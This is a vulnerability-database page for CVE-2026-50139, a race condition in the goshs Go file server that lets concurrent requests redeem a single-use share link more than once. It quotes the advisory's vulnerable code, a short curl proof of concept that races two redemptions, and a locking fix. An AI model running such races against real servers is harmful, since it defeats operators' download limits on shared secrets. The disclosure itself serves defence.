CVE-2026-50139
mediumPriorität · verfolgen · 0EPSS 0.003 · 17. PerzentilUSEPSS · bewertet 2026-10-28
goshs is a SimpleHTTPServer written in Go. Prior to version 2.1.0, `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Version 2.1.0 patches the issue.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (2)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-j48m-h7xq-2xpjgoshs: Share-link ?token=… redemption races past download limit2026-07-01ghsa · osvUS
# Share-link `?token=…` redemption races past download limit **Ecosystem:** Go **Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`) **Affected:** `<= v2.0.9` (every release that shipped the share-link feature) ## Summary `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. ## Details [`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018): ```go fs.sharedLinksMu.RLock() entry, ok := fs.SharedLinks[token] fs.sharedLinksMu.RUnlock() // <-- released here if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { // ...serve file... // <-- whole transfer happens unlocked } fs.sharedLinksMu.Lock() // <-- re-acquired only now current.Downloaded++ if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) } fs.sharedLinksMu.Unlock() ``` Between line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit. ## Proof of concept ```bash goshs -p 18000 -d /tmp/r -b admin:pw & echo data > /tmp/r/f.txt # operator issues a one-shot share SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p') # attacker races two redemptions curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ wait # observed: 200 / 200 (both succeed) -> limit=1 redeemed twice ``` Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification. ## Impact A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window. ## Suggested fix Reserve under the write lock *before* serving — refund only if the serve fails: ```go fs.sharedLinksMu.Lock() entry, ok := fs.SharedLinks[token] if !ok || time.Now().After(entry.Expires) || (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return } entry.Downloaded++ if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { delete(fs.SharedLinks, token) } else { fs.SharedLinks[token] = entry } fs.sharedLinksMu.Unlock() // ...serve... ``` Add a regression test that races two requests against a `limit=1` token and asserts exactly one `200`. Reporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.
- GO-2026-5881goshs: Share-link ?token=… redemption races past download limit in goshs.de/goshs2026-07-07vendor · osvUS
goshs: Share-link ?token=… redemption races past download limit in goshs.de/goshs
auch bekannt als (2)
Weitere Namen und Kennungen dieser Entität.
- GHSA-j48m-h7xq-2xpjosv
- GO-2026-5881osv
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (1) nvd
Externe Belege — Patches, Meldungen, Analysen.
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan